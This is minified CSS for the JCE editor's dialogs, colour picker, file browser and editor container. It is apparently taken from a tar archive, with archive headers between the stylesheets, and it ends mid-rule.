.uk-repeatable-delete{display:none}.uk-repeatable .uk-repeatable-create:first-child,.uk-repeatable+.uk-repeatable .uk-repeatable-delete{display:block}.uk-repeatable .uk-repeatable-hidden-first,.uk-repeatable+.uk-repeatable .uk-repeatable-create{display:none}.uk-repeatable+.uk-repeatable .uk-repeatable-hidden-first{display:block}.uk-tooltip .tooltip-arrow,.wf-colorpicker.uk-tooltip-left.uk-tooltip-bottom:after,.wf-colorpicker.uk-tooltip-left.uk-tooltip-top:after,.wf-colorpicker.uk-tooltip-right.uk-tooltip-bottom:after,.wf-colorpicker.uk-tooltip-right.uk-tooltip-top:after{display:none}.uk-repeatable.uk-placeholder{padding:10px}input.color,input.colour{width:100px}.wf-colorpicker{height:350px;max-height:inherit;max-width:inherit;width:310px;border:1px solid #ddd;color:#444;font-size:12px;box-shadow:0 0 10px rgba(0,0,0,.3);bottom:100%;right:inherit}.wf-colorpicker .uk-tabs{height:91.6%;height:calc(100% - 49px);position:relative}.wf-colorpicker>div{height:90%;height:calc(100% - 10px)}.wf-colorpicker>div>div{width:100%;height:100%;position:relative}.wf-colorpicker.uk-tooltip-left:after{border-left-color:#fff}.wf-colorpicker.uk-tooltip-right:after{border-right-color:#fff}.wf-colorpicker .uk-modal-footer{position:relative;margin:5px -8px 0;height:49px;box-sizing:border-box}body,html{height:100%}.wf-colorpicker #colorpicker_insert{margin:0}.wf-colorpicker .uk-switcher{padding:0 1px}.wf-colorpicker #colorpicker{position:relative;top:inherit;left:inherit;right:inherit;bottom:inherit}.wf-colorpicker #colorpicker_tabs .uk-switcher{padding:0}.uk-tooltip{text-shadow:inherit;right:inherit;bottom:inherit}.uk-tooltip .uk-icon-close{position:absolute;right:3px;cursor:pointer;z-index:10;padding:5px;top:0;font-size:0}.uk-tooltip .uk-icon-close:before{font-size:14px}.uk-tooltip h4,.uk-tooltip p{margin:0;color:#fff}.loader,.show,a.browse span{display:block}.uk-constrain-icon,.uk-equalize-icon{position:relative;vertical-align:middle;width:2em;text-align:center;cursor:pointer;line-height:2em;margin:0;padding:0;float:left}.uk-form .uk-constrain-icon input,.uk-form .uk-equalize-icon input{opacity:0;position:absolute;left:0;top:0;height:100%;margin:0!important;padding:0;width:100%;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"}.uk-form .uk-form-constrain .uk-constrain-checkbox,.uk-form .uk-form-equalize .uk-equalize-checkbox{margin:5px}body,fieldset{margin:0}.uk-isdirty{color:inherit!important}.uk-form .uk-constrain-container input[type=text],.uk-form .uk-constrain-container input[type=number]{width:65px}.uk-constrain-container{padding-left:10px}html{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased}body{padding:0;position:relative;-webkit-overflow-scrolling:'touch'}body>div.uk-form,body>form>div{top:5px;left:5px;right:5px;bottom:56px;position:absolute}.actionPanel,.mceActionPanel{text-align:right;bottom:0;position:absolute;right:0;left:0;top:auto;padding:10px;margin:0;box-sizing:border-box;white-space:nowrap}form .actionPanel{left:-5px;right:-5px}textarea{resize:none;outline:0}label.invalid{color:#d85030}input.invalid{border:1px solid #d85030}a.browse span{width:20px;height:20px;background:url(../img/icons.png) 0 -960px;border:1px solid #FFF;margin-left:1px}a.browse span.datetime{background:url(../img/icons.png) 0 -1020px}.mceOldBoxModel a.browse span{width:22px;height:20px}a.pickcolor span{display:block;width:16px;height:16px;background:url(../img/icons.png) 0 -1000px;margin-left:2px}.mceOldBoxModel a.pickcolor span{width:21px;height:17px}.wordWrapCode{border:1px #000;background:0 0}label.disabled{color:#ccc}.visible{visibility:visible}.hidden{visibility:hidden}.loader{background:url(../img/load.gif) center no-repeat;width:20px;height:20px}span.browser_container,span.colour_container,span.loader{display:inline-block;vertical-align:middle}.mceAddSelectValue,.uk-addselect{background-color:#DDD}dl.alert{vertical-align:middle;width:100%;margin:0;padding:0}dl.alert dt{height:20px;background:url(../img/icons.gif) no-repeat;margin:0;padding:3px 0 0 25px}dl.alert dt.alert{background-position:0 -20px}dl.alert dt.info{background-position:0 -300px}dl.alert dt.error{background-position:0 -340px}dl.alert dd{width:80%;margin:0;padding:0}span.hastip,span.tooltip{border-bottom:1px dashed #919B9C}.hastip:first-line,.tooltip:first-line{background:url(../img/dash.gif) bottom center repeat-x}div.uk-preview div.uk-dialog-content.uk-widget-content{padding:10px}.image-preview img{display:block;cursor:pointer;margin:0 auto}.image-preview.loading,div.iframe-preview.loading,div.media-preview.loading{background:url(../../tiny_mce/themes/advanced/skins/default/img/progress.gif) center no-repeat}.uk-dialog-content{overflow:hidden}.uk-dialog-content label{min-width:60px;text-align:right;display:inline-block;margin:0 5px 0 0}span.browser_icon{background:url(../img/icons.png) 0 -960px}span.pickcolor_icon{width:16px!important;height:16px!important;margin-top:-8px!important;background:url(../img/icons.png) 0 -1000px}.hide,label.msg{display:none}.input_noborder,img{border:0}a.browse{display:inline-block;vertical-align:middle}a.browse span.image,span.browser_icon.image{background:url(../img/icons.png) 0 -980px}a.browse span.disabled,span.browser_icon.disabled{border:1px solid #FFF;opacity:.3;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=30)";filter:alpha(opacity=30)}a.browse:hover span.disabled,span.browser_icon.disabled:hover{border:1px solid #FFF;background-color:transparent}a.pickcolor:hover span,span.pickcolor_icon:hover{background-color:#B2BBD0}.disabled{cursor:default}span[role=button].disabled{opacity:.3;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=30)";filter:alpha(opacity=30)}select.editable option.uk-state-highlight{border:0;color:#000}select.editable option.uk-state-highlight:hover{color:#000}span.uk-slider-block{display:inline-block;height:1em;margin:0 5px;position:relative;vertical-align:middle}#jce .aggregator_option_add,#jce .aggregator_option_remove{height:20px;line-height:20px;vertical-align:middle;cursor:pointer}span.uk-slider{position:absolute;display:block;width:100px;left:5px}#jce div.uk-dialog div.uk-dialog-content div.alert,#jce div.uk-dialog div.uk-dialog-content div.confirm{display:inline-block;font-size:1.1em;padding:0 0 0 32px;margin:3px 0;min-height:24px;width:240px;word-wrap:break-word}#jce div.uk-dialog div.uk-dialog-content div.alert span.icon,#jce div.uk-dialog div.uk-dialog-content div.confirm span.icon{display:inline-block;padding:0 0 0 32px;margin:3px 0 0 -32px;min-height:24px;background:url(../img/icons-24.png) 0 -48px no-repeat}#jce div.uk-dialog div.uk-dialog-content div.alert span.icon{background-position:0 -144px}#jce div.uk-dialog div.uk-dialog-content div.alert ul{list-style:none;padding:0;margin:0}#jce div.uk-dialog div.uk-dialog-content div.alert p,#jce div.uk-dialog div.uk-dialog-content div.confirm p{margin:0 0 1em}#dim_loader{display:inline-block}.uk-dialog-content p{margin:1em 0}#jce .aggregator_option_add{background:url(../img/icons.png) 0 -540px no-repeat;color:#CCC;display:inline-block;margin:auto;position:absolute;text-align:center;width:130px}#jce .aggregator_option_remove{background:url(../img/icons.png) 0 -560px no-repeat;width:20px;display:inline-block}#height,#width{width:65px;text-align:center}.edited{color:inherit!important}#height_unit,#width_unit{width:45px;text-align:center}#margin_bottom,#margin_left,#margin_right,#margin_top,#marginheight,#marginwidth{width:40px}.uk-jce .preview{overflow:hidden;padding:5px;margin:0;text-align:left;height:100%;position:relative;font-size:11px;box-sizing:border-box;border:1px dashed #ddd;background-color:#fafafa;min-height:200px}.uk-switcher,.uk-tab{position:absolute;left:0;width:100%;top:0;box-sizing:border-box}.preview h4{font-size:12px;line-height:14px}.preview img{max-width:50%;vertical-align:baseline;height:auto}@media (min-width:375px){label[for*=margin_]+input:-ms-input-placeholder{opacity:0!important}label[for*=margin_]+input::-moz-placeholder{opacity:0!important}label[for*=margin_]+input::-webkit-input-placeholder{opacity:0!important}}@media (max-width:375px){label[for*=margin_]{display:none}}.uk-tab{padding:0}.uk-switcher{height:100%;padding:0 5px}.uk-tabs .uk-tab+.uk-switcher{top:35px;height:89%;height:calc(100% - 45px)}.uk-browser-bottom .uk-tabs+.uk-form,.uk-browser-top .uk-form{height:60%}.uk-browser .uk-tabs{height:40%;position:relative}.uk-tabs-panel{margin:5px 0}span.editable-edit{width:20px;height:20px;display:inline-block;cursor:pointer;background:url(../img/icons.png) 0 -1080px no-repeat;vertical-align:middle}.uk-tree a{display:inline-block;width:calc(100% - 24px);white-space:nowrap}.uk-tree-icon,.uk-tree-icon .uk-icon,.uk-tree-toggle,.uk-tree-toggle .uk-icon{height:20px;width:20px;line-height:20px;vertical-align:middle}.uk-tree a,.uk-tree a:active,.uk-tree a:hover{text-decoration:none;color:inherit}.uk-tree-toggle{cursor:pointer}.uk-tree-icon,.uk-tree-toggle{display:inline-block;text-align:center}.uk-icon-minus-square-o,.uk-tree-open>.uk-tree-row>.uk-tree-toggle .uk-icon-plus-square-o{display:none}.uk-tree-open>.uk-tree-row>.uk-tree-toggle .uk-icon-minus-square-o{display:inline-block}.uk-icon-folder-open,.uk-tree-open>.uk-tree-row .uk-tree-icon .uk-icon-folder{display:none}.uk-tree-open>.uk-tree-row .uk-tree-icon .uk-icon-folder-open{display:inline-block}.uk-tree-loading>.uk-tree-row>.uk-tree-toggle .uk-icon{display:none!important}.uk-tree-loading>.uk-tree-row>.uk-tree-toggle{background:url(../img/load.gif) center no-repeat}.uk-tree,.uk-tree ul{padding:0;margin:0;list-style:none;-webkit-user-select:none;-moz-user-select:none;user-select:none}.uk-tree li{line-height:28px;vertical-align:middle;margin:0}.uk-tree-node li{padding:0 0 0 23px}.uk-tree-row .uk-tree-text{display:inline-block;line-height:20px;vertical-align:middle}.uk-tree-node li:empty{padding:0;margin:0;visibility:hidden}.uk-tree-active>.uk-tree-row,.uk-tree-row:hover{background-color:#d9edf7}.uk-tree-hide{display:none}#colorpicker{margin:10px 0 0;min-width:250px;top:5px;right:5px;left:5px;bottom:56px;position:absolute}#colorpicker #colorpicker_tabs ul,body>#colorpicker{margin:0}#colorpicker #colorpicker_named ul,#colorpicker #colorpicker_template ul,#colorpicker #colorpicker_web ul{list-style:none;margin:0;padding:0;line-height:8px}#colorpicker_named ul li,#colorpicker_template ul li,#colorpicker_web ul li{display:inline-block;margin:0 1px 1px 0;line-height:10px}#colorpicker canvas{width:10px;height:10px;margin:0 1px 1px 0}#colorpicker span.mceVoiceLabel{display:none}#colorpicker_insert{float:right;margin:0}#colorpicker_tabs .uk-switcher{overflow:hidden;padding:0 32px;top:35px}#colorpicker .uk-switcher>div{margin:0;padding:0}#colorpicker #colorpicker_tabs a{text-decoration:none}#colorpicker_tab table{margin:auto}#colorpicker_preview_text{position:relative;float:left;height:28px;vertical-align:middle}#colorpicker_preview_text label{margin-right:5px;vertical-align:middle}#colorpicker_preview_color{width:22px;height:22px;cursor:inherit;border-radius:2px;margin-top:-11px;right:3px;padding:0;top:50%}#colorpicker_preview{position:absolute;left:10px;box-sizing:border-box;z-index:1}#colorpicker_named div,#colorpicker_template div,#colorpicker_web div{margin:10px auto 0}#colorpicker_template p{margin:1em auto}#colorpicker_named span,#colorpicker_template span,#colorpicker_web span{display:block;float:left;width:15px;height:15px;overflow:hidden;cursor:pointer}#colorpicker_colorname{margin-top:5px;color:#444}#colorpicker_action{position:absolute;width:100%}#template_tab p{margin:auto;padding:0;width:200px}div.colorpicker_generated div fieldset{height:155px}iframe.colorpicker_blocker{width:100%;height:100%;position:absolute;top:0;left:0;z-index:-1;background-color:#F6F6F6;padding:1px}#colorpicker_color{min-height:18px;padding:2px 32px 2px 24px!important;margin:0;height:28px;line-height:28px;text-align:center;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;width:120px;border-radius:3px}div.colorpicker_tabs{width:100%;margin-right:20px}iframe.blocker{height:100%;left:0;position:absolute;top:0;width:100%;background-color:#FFF}#colorpicker_named,#colorpicker_template,#colorpicker_web,.colorwheel{position:relative}div#previewblock{margin-top:5px;float:left}#colorpicker_picker{height:100%}#colorpicker_picker div.farbtastic{margin:30px auto 0;position:relative;width:200px;height:88%;height:calc(70%)}.colorwheel{margin:0 auto}.colorwheel *{position:absolute;cursor:crosshair}.colorwheel .color,.colorwheel .overlay{top:47px;left:47px;width:101px;height:101px}.colorwheel .wheel{background:url(../img/wheel.png) no-repeat;width:195px;height:195px}.colorwheel .overlay{background:url(../img/mask.png) no-repeat}.colorwheel .marker{width:17px;height:17px;margin:-8px 0 0 -8px;overflow:hidden;background:url(../img/marker.png) no-repeat}.ie8 .uk-modal{-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#99000000, endColorstr=#99000000)"}.ie8 .uk-modal-dialog{max-width:98%}.ie8 .uk-modal-dialog-large{width:930px}.ie8 .uk-modal-header h3{margin:0}.ie8 .uk-navbar{border-color:#eee}.ie8 .uk-browser-bottom nav.uk-navbar{border-top:1px solid #eee}.ie8 .uk-icon,.ie8 [class*=uk-icon-]{font-family:FontAwesome;font-weight:400;font-style:normal;line-height:1;vertical-align:middle}.ie8 .actionPanel .uk-button{margin:0 0 0 2px}.ie8.uk-form-horizontal .uk-form-label{display:block;font-weight:700;float:left}.ie8.uk-form-horizontal .uk-form-controls{float:left}.ie8.uk-form input[type=text],.ie8.uk-form select,.ie8.uk-form-horizontal .uk-form-controls input.type-number{padding:5px 4px;line-height:16px;border:1px solid #ddd}.ie8.uk-form select{padding:4px}.ie8.uk-form input[type=text]:focus,.ie8.uk-form select:focus,input.type-number:focus{border:1px solid #66afe9}.ie8 .uk-icon-clock-o{background:url(../img/icons.png) 0 -1020px no-repeat;width:20px;margin:-10px 5px}.ie8 .uk-button-group .uk-button{margin:0}.ie8 .uk-button-group .uk-button+.uk-button{border-left:0}.ie8 .uk-button .uk-icon{vertical-align:middle}.ie8 .uk-button-text{font-size:12px;vertical-align:middle}.ie8 .uk-browser-bottom .uk-tabs+.uk-form,.ie8 .uk-browser-top .uk-form,.ie8 main{display:table;width:100%}.ie8 main .uk-navbar{border-bottom:1px solid #E7E7E7}.ie8 #browser-details-nav,.ie8 #browser-list-limit{border-bottom:0;border-left:0;border-right:0;border-top:1px solid #E7E7E7}.ie8 .uk-tree-hidden .uk-flex-item-auto{width:70%}.ie8 #browser-list-actions .uk-flex-item-auto{width:29%}.ie8 #browser-details-container .uk-flex-item-auto{width:83%;height:96%}.ie8 .uk-pagination li a{line-height:1px}.ie8 .view-mode-grid .file .uk-thumbnail{margin:5px auto}.ie8 .file .uk-thumbnail img{margin:auto;display:block}.ie8 #browser-buttons{height:100%}.ie8 .view-mode-grid .item-list{white-space:pre-wrap}.ie8 #item-list .uk-flex-item-auto{width:30%}.ie8 #item-list li .uk-flex-item-auto{width:75%}.ie8 .view-mode-grid #item-list li .uk-flex-item-auto{width:98%}.ie8.uk-form-horizontal .uk-datalist input[type=text]{width:88%;border-width:1px 0 1px 1px}.ie8.uk-form-horizontal .uk-datalist #border_width{width:70%}.ie8.uk-form-horizontal .uk-datalist #border_width+select{width:95%;left:0}.ie8 .uk-form-icon-both>input{padding:5px 2em!important}.ie8 .uk-form-icon-both .uk-icon-none{position:absolute;right:3px;top:9px;height:21px;width:21px}.ie8 .uk-button{border:1px solid #ccc;margin-left:5px;cursor:pointer}.ie8 button{cursor:pointer}.ie8 .uk-button-link{border:0}.ie8 .uk-modal-footer .uk-button{background-color:#fff}.ie8 .uk-modal-footer .uk-button-primary{background-color:#337ab7;border:1px solid #2e6da4}.ie8 .uk-modal-footer .uk-button-success{background-color:#5cb85c;border:1px solid #57ad57}.ie8 .uk-modal-footer .uk-button-danger{background-color:#d9534f;border:1px solid #d43f3a}.ie8 #width+strong,.ie8 .uk-icon-constrain{margin-bottom:8px}.ie8.uk-form input[type=checkbox],.ie8.uk-form input[type=radio]{border:0}.ie8 #search-input{padding-top:6.5px;padding-bottom:6.5px}.ie8 #searchbox{top:0;right:0}.ie8 #browser-list-actions #searchbox.uk-flex-item-auto{width:91%}.ie8 #searchbox input{padding-left:4px}.ie8 #searchbox .uk-icon{top:14px;cursor:pointer}.ie8 #searchbox .uk-icon-spinner{top:12px}.ie8 #check-all{padding:0 8px 0 4px}.ie8 #margin{margin:0 4px 2px 0}.ie8 #link-browser{height:236px}editor/libraries/css/filebrowser.min.css000060400000025601150750527150014424 0ustar00#browser-list,.uk-tree,.uk-tree ul{-webkit-user-select:none;-moz-user-select:none}#browser-buttons,#browser-list,#browser-tree,#tree-body{box-sizing:border-box}.uk-tree a{display:inline-block;width:calc(100% - 24px);white-space:nowrap}.uk-tree a,.uk-tree a:active,.uk-tree a:hover{text-decoration:none;color:inherit}.uk-tree-toggle{cursor:pointer}.uk-tree-icon,.uk-tree-toggle{display:inline-block;width:20px;height:20px;text-align:center;vertical-align:middle;line-height:20px}.uk-tree-icon .uk-icon,.uk-tree-toggle .uk-icon{height:20px;width:20px;vertical-align:middle;line-height:20px}.uk-icon-minus-square-o,.uk-tree-open>.uk-tree-row>.uk-tree-toggle .uk-icon-plus-square-o{display:none}.uk-tree-open>.uk-tree-row>.uk-tree-toggle .uk-icon-minus-square-o{display:inline-block}.uk-icon-folder-open,.uk-tree-open>.uk-tree-row .uk-tree-icon .uk-icon-folder{display:none}.uk-tree-open>.uk-tree-row .uk-tree-icon .uk-icon-folder-open{display:inline-block}.uk-tree-loading>.uk-tree-row>.uk-tree-toggle .uk-icon{display:none!important}.uk-tree-loading>.uk-tree-row>.uk-tree-toggle{background:url(../img/load.gif) center no-repeat}.uk-tree,.uk-tree ul{padding:0;margin:0;list-style:none;user-select:none}.uk-tree li{line-height:28px;vertical-align:middle;margin:0;-ms-flex:1 1 auto;-webkit-flex:1 1 auto;flex:1 1 auto}.uk-tree-node li{padding:0 0 0 23px}.uk-tree-row .uk-tree-text{display:inline-block;line-height:20px;vertical-align:middle}.uk-tree-node li:empty{padding:0;margin:0;visibility:hidden}.uk-tree-active>.uk-tree-row,.uk-tree-row:hover{background-color:#d9edf7}.uk-tree-active>.uk-tree-row .uk-tree-text{font-weight:700}.uk-tree-hide{display:none}div#upload-body{height:100%;position:static!important;z-index:10}div#upload-queue-block{clear:both;height:240px;overflow:auto;box-sizing:border-box;padding:5px;margin:0}.queue-item-loading .queue-item-name .uk-icon:before{content:"";width:20px;height:20px;display:inline-block;margin-top:-3px;background:url(../img/load.gif) center left no-repeat}.uk-progress{margin:5px 0;box-shadow:inherit;background-color:transparent;display:none}.queue-item-loading .uk-progress{display:block}.uk-alert{white-space:normal;margin:5px 0}#browser-message,.item-list,.pathway{white-space:nowrap}.queue-item-size{vertical-align:middle;line-height:28px}.queue-item .queue-item-name .queue-item-extension{padding:0;font-size:inherit;cursor:inherit;vertical-align:middle;line-height:28px;height:inherit;margin:0;top:0;right:5px}.wf-uploader-container{display:inline-block;position:relative;overflow:inherit}#sort-date,#sort-size,.uk-tree-hidden>div:first-child{display:none}.wf-uploader-element{font-size:999px;opacity:0;-ms-filter:"alpha(opacity=0)";position:absolute;right:0;top:0;cursor:pointer;z-index:10;width:100%;height:100%}#browser-buttons .button:hover,.action:hover .uk-icon,.button .uk-icon:hover{opacity:.6}::-ms-clear{display:none}.wf-upload-dragover>div{border-width:2px!important}.uk-browser{top:5px;left:5px;right:5px;bottom:55px}#browser{background-color:#fff;width:100%;height:100%;position:relative;display:table}.uk-navbar{border-radius:0}.uk-navbar .uk-button{border-width:0;height:2em;line-height:2em;vertical-align:baseline;font-size:14px}#browser-details-comment li,#browser-list-limit .limit-text,#browser-list-limit select,#info-body,#layout-full-toggle i,#tree-body,.icon,.item-list,.pathway .uk-icon,.pathway li{vertical-align:middle}.uk-navbar .uk-button span{font-size:12px}.uk-navbar-content{height:28px;margin:0 0 0 -1px}.uk-navbar-content input[type=checkbox]{margin-top:0}nav.uk-navbar{background-color:transparent;border-width:0;padding:0}.uk-browser-bottom nav.uk-navbar{border-top-width:1px;padding:2px 0}nav .uk-navbar-content{height:32px}main{margin-top:35px!important}main .uk-navbar{border-width:0 0 1px;line-height:28px}main>div{border:1px solid #ddd;border-left-width:0;height:100%}.uk-tree-hidden>div+div,main>div:first-child{border-left-width:1px}main>div:last-child{max-width:18rem}@media (min-width:960px){main>div:last-child{max-width:20rem}}.uk-navbar .uk-button.uk-active{border-width:0 1px}.uk-tree-hidden>div+div+div{border-left-width:0}.uk-tree{display:-ms-flexbox;display:-webkit-flex;display:flex}.uk-tree-hidden #sort-date,.uk-tree-hidden #sort-size,.uk-tree-hidden .item-list .uk-item-date,.uk-tree-hidden .item-list .uk-item-size{display:inline-block}#browser.full-height{position:absolute;top:5px;left:5px;z-index:1;width:99%;width:calc(100% - 10px);height:90%;height:calc(100% - 50px)}.load #layout-full-toggle{display:none!important}#layout-full-toggle{display:none;border:0;padding-left:5px}.expandable #layout-full-toggle{display:inline-block}#layout-full-toggle i{display:none;line-height:30px}#layout-full-toggle i:first-child,.full-height #layout-full-toggle i{display:block}.full-height #layout-full-toggle i:first-child{display:none}#browser-tree{margin:0;height:89.6%;height:calc(100% - 29px)}.layout-left .header{margin:0 1px 0 0}.layout-top .layout-header{height:30px}.expanadable div.layout-top div.layout-header{padding-left:20px}#browser-list{margin:0;padding:5px 1px;overflow:auto;user-select:none;height:79.5%;height:calc(100% - 58px);width:100%}#browser-list-limit{margin:0;position:relative;border-top-width:1px;width:100%}#browser-list-limit select{margin:0}#browser-list-limit label{min-width:30px}#browser-list-limit .limit-text{text-align:center}#browser-list-limit-select{margin:0;padding:0}.uk-pagination>li>a{border:0;border-radius:0}#browser-list-limit .limit-left li,#browser-list-limit .limit-right li{margin:0 2px}#browser-list-actions{padding:0 5px}#browser-details-container{height:79%;height:calc(100% - 58px);width:100%}#browser-details{margin:0;padding:5px;position:relative}.icon{border:0}.layout-icon{display:inline-block;width:20px;height:20px}#browser-message{padding-left:0}.ie8 div#browser-message{background-position:0 -320px}#browser-message .uk-spinner{background:url(../img/load.gif) center no-repeat;height:20px;width:20px;padding:5px 0;display:none}#browser-message .uk-icon-spinner,#browser-message.load .uk-icon{display:none}#browser-message.load .uk-icon-spinner{display:inline-block;height:30px}#browser-message .uk-icon-spinner:before{content:"";background:url(../img/load.gif) center no-repeat;width:20px;display:inline-block;height:31px}.pathway{overflow:visible;display:inline-block;vertical-align:middle}.pathway .uk-icon{width:28px;height:28px;text-align:center;line-height:28px}.pathway li.count{margin:0;cursor:default;text-decoration:none}.uk-breadcrumb>li:nth-child(n+2)::before{margin:0 5px}.uk-breadcrumb .uk-breadcrumb-truncate a{display:none}.uk-breadcrumb .uk-breadcrumb-truncate::after{content:"...";text-decoration:none;cursor:pointer}div#browser-message span{margin-left:30px;line-height:24px;font-size:1.1em;display:inline-block}.uk-navbar .uk-text-right .uk-button{padding:0 7px}div#info-comment,div#info-text{width:100%;padding:2px}#show-search.uk-active{border-width:0}#searchbox{margin:0 28px 0 0!important;height:28px;top:-1px;right:-1px;left:1px}#searchbox input{border-radius:0;height:100%;margin:0 0 0 -1px;border:0}#searchbox .uk-icon{line-height:2em;top:0}#info-body,#tree-body{background-color:#fff;overflow:auto}#tree-body{height:100%;padding:5px}#info-body{position:relative;overflow:hidden;line-height:14px;border:1px solid #ccc;float:left;width:180px;padding:2px 1px 10px 2px}div#info-text.loader{height:50%;background-position:center}div#info-comment{position:absolute;height:60px;bottom:0}.uk-width-0-10{width:auto}#check-all{padding:0 8px}.asc [class*="-asc"]{display:inline-block}.asc [class*="-desc"]{display:none}.desc [class*="-desc"]{display:inline-block}#info-preview .uk-icon,.desc [class*="-asc"]{display:none}#sort-ext{max-width:28px}#browser-details-comment{bottom:5px;position:absolute}#browser-details-comment ul{list-style:none;margin:0}#browser-details-comment>ul{padding:2px 0 0 2px}#browser-details-comment li{margin:0;line-height:18px}#browser-details-comment li.comments{line-height:20px;padding:0 0 0 22px}#info-preview img{max-width:160px;max-height:80px}#info-preview.loading .uk-icon{display:block}#info-buttons{height:inherit}#browser-details-nav{border-top-width:1px;width:100%}#browser-details-nav ul{margin:0}.item-list{list-style:none;margin:0;padding:0;-webkit-user-select:none;-moz-user-select:none;user-select:none;width:100%;overflow:hidden;-o-text-overflow:ellipsis;text-overflow:ellipsis}.item-list li{cursor:pointer;margin:0;padding:0;line-height:26px;position:relative;border-bottom:1px solid #fff;background:0 0}.item-list .active,.item-list li:hover{background-color:#d9edf7}.item-list li.file,.item-list li.folder{background-image:none!important;margin:0}.item-list li>.uk-button{padding:0 8px 0 3px}.item-list li a{text-decoration:none;overflow:hidden;color:inherit;position:relative}.item-list li a .uk-item-text{position:relative;max-width:85%;float:left}.item-list li input[type=checkbox]{margin:4px 7px 5px}.item-list li a:active,.item-list li a:hover,.item-list li a:visited{color:inherit}.item-list .load .uk-icon{background:url(../img/load.gif) left center no-repeat}.item-list .load .uk-icon:before{display:none}.folder-up>span:first-child{display:inline-block;width:28px}.item-list li .uk-icon{background-color:transparent;margin:0 10px 0 0;height:2em;width:2em;font-size:14px;line-height:2em;text-align:center}.item-list .selected{color:#000;background-color:#d9edf7;font-weight:700}.item-list .nofile{font-size:1.3em;font-weight:700;text-align:center;color:#ddd;cursor:default;margin:1px 2px}.item-list li .uk-item-date,.item-list li .uk-item-size{display:none}.item-list li .uk-item-size{padding-left:26px}.item-list li .uk-item-date{padding-left:12px}#browser-buttons{border-left:1px solid #ddd;min-width:2em;font-size:14px}#browser-buttons .button{border:0;margin:1px auto;color:#444;background:0 0;text-align:center;padding:0;min-height:inherit;display:block;line-height:2em;width:2em;font-size:inherit}#browser-buttons .button .uk-icon{font-size:inherit}@media (min-height:768px){#browser-buttons{font-size:16px}}.uk-navbar .uk-button.action{background-color:#fff;padding:0 10px}.action{margin:0 0 0 3px;height:28px;display:inline-block}#upload-options:empty,.button label,.thumbnail-preview .uk-icon,.uk-tree-hidden .thumbnail-preview .uk-item-date,.uk-tree-hidden .thumbnail-preview .uk-item-size{display:none}.action .uk-icon{padding:0}.uk-dialog div.big-loader{background:url(../../tiny_mce/themes/advanced/skins/default/img/progress.gif) center 50% no-repeat;margin-top:-33px!important;width:100%;height:100%}.thumbnail-preview input[type=checkbox]{margin:5px;position:absolute;bottom:0;right:0;left:auto}.uk-tree-hidden .item-list li a{max-width:37%}.action .uk-icon-help{color:#254ABF}.uk-icon-folder,.uk-icon-folder-open{color:#D2B073}.bmp .uk-icon,.gif .uk-icon,.jpeg .uk-icon,.jpg .uk-icon,.png .uk-icon,.tiff .uk-icon{color:#4F9245}.flv .uk-icon,.mov .uk-icon,.mp4 .uk-icon,.ogg .uk-icon,.webm .uk-icon,.wmv .uk-icon{color:#566485}.doc .uk-icon,.docx .uk-icon{color:#2133A0}.xls .uk-icon,.xlsx .uk-icon{color:#7BAC67}.ppt .uk-icon,.pptx .uk-icon{color:#DB6319}.pdf .uk-icon{color:#D00000}editor/libraries/css/editor.min.css000060400000016610150750527150013367 0ustar00.mce-fullscreen .wf-editor-header:empty,.wf-editor-container.mce-fullscreen .defaultSkin .mceStatusbar .mceResize,.wf-editor-header:empty{display:none}.wf-editor-container,.wf-editor-container *{margin:0;padding:0;border:0;outline:0;vertical-align:top;background:0 0;text-decoration:none;color:#333;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;text-shadow:none;float:none;position:static;width:auto;height:auto;white-space:nowrap;cursor:inherit;-webkit-tap-highlight-color:transparent;line-height:normal;font-weight:400;text-align:left;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box;direction:ltr;max-width:none}.repeatable-element .repeatable-content{width:100%}.wf-editor-container{position:relative;padding:5px;width:100%;box-sizing:border-box}.wf-editor-container.mce-fullscreen{position:fixed;width:100%;height:100%;padding:0;left:0;top:0;z-index:10000;background:#fff}.wf-editor-container.mce-loading:before{content:"";position:absolute;width:100%;height:93%;height:calc(100% - 41px);left:0;top:41px;background:#fff;opacity:.8;border:1px solid #ccc;z-index:10000;box-sizing:border-box}.wf-editor-container.mce-fullscreen.mce-loading:after,.wf-editor-container.mce-fullscreen.mce-loading:before{height:95.75%;height:calc(100% - 45px);top:45px}.wf-editor-container.mce-loading:after{content:"";position:absolute;width:100%;height:96%;height:calc(100% - 41px);left:0;top:41px;z-index:10001;background:url(../../tiny_mce/themes/advanced/skins/default/img/progress.gif) center no-repeat}.wf-editor,.wf-no-editor{background:#fff;font-family:monospace;font-size:12px;color:#444;line-height:16px;position:relative;border:1px dashed #ccc;box-sizing:border-box;box-shadow:inherit;padding:10px;white-space:pre-wrap}.wf-no-editor{width:100%;min-height:200px}.mce-fullscreen .wf-no-editor{max-width:99%;max-width:calc(100% - 10px);margin:5px;resize:none;height:92.8%;height:calc(100% - 60px)}.wf-editor:focus,.wf-no-editor:focus{background:#fff;color:#333;border-color:#ccc;box-shadow:inherit}.wf-editor-header{min-height:41px}.mce-fullscreen .wf-editor-header{min-height:45px}.wf-editor-toggle{position:relative;display:block;float:left;margin-top:5px;padding:4px 24px 4px 32px;margin-bottom:0;font-size:14px;line-height:22px;text-align:center;cursor:pointer;background:url(../img/power.png) 10px center no-repeat;opacity:.6;min-height:24px}.wf-editor-toggle:hover{opacity:.9}.mce-fullscreen .wf-editor-toggle{top:12px;margin:0}.wf-editor-toggle,.wf-editor-toggle:hover{color:inherit}.wf-editor-container.mce-fullscreen .wf-editor-header{background-color:#fff}.wf-editor-preview,.wf-editor-source{position:relative;width:100%;border:1px solid #ccc;box-sizing:border-box;background:#fff;min-width:300px}.wf-editor-source{border-top-width:0}.wf-editor-source iframe{position:relative;width:100%;height:100%}.wf-editor-preview iframe{position:absolute;width:100%;height:100%;top:0;left:0;bottom:0;right:0}.mce-fullscreen textarea{resize:none}div#wf_upload_button{background:url(../img/cloud.png) center center no-repeat #fafafa;border:1px dashed #bbb;border-radius:2px;cursor:pointer;display:none;height:56px;overflow:hidden;position:absolute;width:100px;text-align:center}div#wf_upload_button 